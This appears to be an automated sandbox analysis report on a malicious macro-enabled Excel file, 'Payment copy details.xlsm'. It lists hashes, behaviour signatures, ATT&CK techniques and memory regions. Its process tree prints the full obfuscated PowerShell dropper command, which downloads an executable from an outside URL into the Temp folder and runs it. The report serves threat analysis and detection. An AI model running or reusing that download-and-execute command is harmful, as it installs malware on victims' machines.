Analysis

  • max time kernel
    69s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    18-01-2021 09:28

General

  • Target

    Payment copy details.xlsm

  • Size

    13KB

  • MD5

    d6db15ab7f42874b6bf76b6ea59be9a7

  • SHA1

    5c2cd0f4131bf097493bda618d0bfbf1e7c24bf1

  • SHA256

    3fa582c6429bfe7cb4932594db7265d2540256c36341194341b38511241bd3ec

  • SHA512

    50d9a8051f5b709df96b6962d7a83fbb67d96c03315b4671a79637f91aa59f916b8345fd2170309b4c10e0b4a9c44badc16fcf7136a4ba3279e66bfb78c754e2

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://hosseinsoltani.ir/LEGITTTT.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Payment copy details.xlsm"
    1⤵
    • Loads dropped DLL
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/LEGITTTT.exe',($env:Temp)+'\eWTPJ.bat')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1576
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/LEGITTTT.exe',($env:Temp)+'\eWTPJ.bat')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:280
    • C:\Users\Admin\AppData\Local\Temp\eWTPJ.bat
      C:\Users\Admin\AppData\Local\Temp\eWTPJ.bat
      2⤵
      • Executes dropped EXE
      PID:1688

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\eWTPJ.bat
    MD5

    45bfdbcf923c3f8a95dae8ac6b21507e

    SHA1

    e9f512bccb1b0555691cd8beee304e91f2bf01f2

    SHA256

    bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1

    SHA512

    02cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28

  • C:\Users\Admin\AppData\Local\Temp\eWTPJ.bat
    MD5

    45bfdbcf923c3f8a95dae8ac6b21507e

    SHA1

    e9f512bccb1b0555691cd8beee304e91f2bf01f2

    SHA256

    bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1

    SHA512

    02cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28

  • \Users\Admin\AppData\Local\Temp\eWTPJ.bat
    MD5

    45bfdbcf923c3f8a95dae8ac6b21507e

    SHA1

    e9f512bccb1b0555691cd8beee304e91f2bf01f2

    SHA256

    bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1

    SHA512

    02cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28

  • \Users\Admin\AppData\Local\Temp\eWTPJ.bat
    MD5

    45bfdbcf923c3f8a95dae8ac6b21507e

    SHA1

    e9f512bccb1b0555691cd8beee304e91f2bf01f2

    SHA256

    bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1

    SHA512

    02cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28

  • memory/280-9-0x0000000001FB0000-0x0000000001FB1000-memory.dmp
    Filesize

    4KB

  • memory/280-23-0x00000000063B0000-0x00000000063B1000-memory.dmp
    Filesize

    4KB

  • memory/280-8-0x000000006C1B0000-0x000000006C89E000-memory.dmp
    Filesize

    6.9MB

  • memory/280-6-0x0000000000000000-mapping.dmp
  • memory/280-10-0x0000000004720000-0x0000000004721000-memory.dmp
    Filesize

    4KB

  • memory/280-11-0x00000000025A0000-0x00000000025A1000-memory.dmp
    Filesize

    4KB

  • memory/280-12-0x00000000025D0000-0x00000000025D1000-memory.dmp
    Filesize

    4KB

  • memory/280-13-0x00000000025D2000-0x00000000025D3000-memory.dmp
    Filesize

    4KB

  • memory/280-14-0x00000000052C0000-0x00000000052C1000-memory.dmp
    Filesize

    4KB

  • memory/280-17-0x0000000006150000-0x0000000006151000-memory.dmp
    Filesize

    4KB

  • memory/280-22-0x0000000006220000-0x0000000006221000-memory.dmp
    Filesize

    4KB

  • memory/280-7-0x00000000765E1000-0x00000000765E3000-memory.dmp
    Filesize

    8KB

  • memory/280-24-0x000000007EF30000-0x000000007EF31000-memory.dmp
    Filesize

    4KB

  • memory/280-31-0x0000000006360000-0x0000000006361000-memory.dmp
    Filesize

    4KB

  • memory/280-32-0x00000000064A0000-0x00000000064A1000-memory.dmp
    Filesize

    4KB

  • memory/644-2-0x000000002F4E1000-0x000000002F4E4000-memory.dmp
    Filesize

    12KB

  • memory/644-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/644-3-0x0000000071581000-0x0000000071583000-memory.dmp
    Filesize

    8KB

  • memory/1576-5-0x0000000000000000-mapping.dmp
  • memory/1688-36-0x0000000000000000-mapping.dmp
  • memory/1688-38-0x000000006C270000-0x000000006C95E000-memory.dmp
    Filesize

    6.9MB

  • memory/1688-39-0x0000000000220000-0x0000000000221000-memory.dmp
    Filesize

    4KB

  • memory/1688-41-0x00000000005C0000-0x00000000005FD000-memory.dmp
    Filesize

    244KB

  • memory/1688-42-0x0000000001F10000-0x0000000001F11000-memory.dmp
    Filesize

    4KB